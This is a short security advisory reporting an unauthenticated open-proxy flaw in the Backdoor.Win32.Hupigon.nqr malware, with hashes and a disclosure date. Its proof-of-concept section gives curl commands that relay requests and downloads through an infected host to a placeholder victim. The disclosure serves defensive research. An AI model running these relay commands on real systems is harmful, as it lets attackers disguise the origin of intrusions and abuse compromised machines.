Backdoor.Win32.Hupigon.nqr Unauthenticated Open Proxy

Backdoor.Win32.Hupigon.nqr malware suffers from an unauthenticated open proxy vulnerability.


MD5 | 5c284a19859fa10968141455c56d0c41

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9603420a004d9559e610ddeb9d94e20a.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.nqr
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 1080, 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 9603420a004d9559e610ddeb9d94e20a
Vuln ID: MVID-2021-0394
Dropped files: Hacker.com.cn.exe
Disclosure: 11/07/2021

Exploit/PoC:
curl http://INFECTED_HOST:8080 -H "Host: VICTIM:21"
220 INetSim FTP Service ready.


curl http://INFECTED_HOST:8080/DOOM.exe -H "Host: VICTIM" --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed


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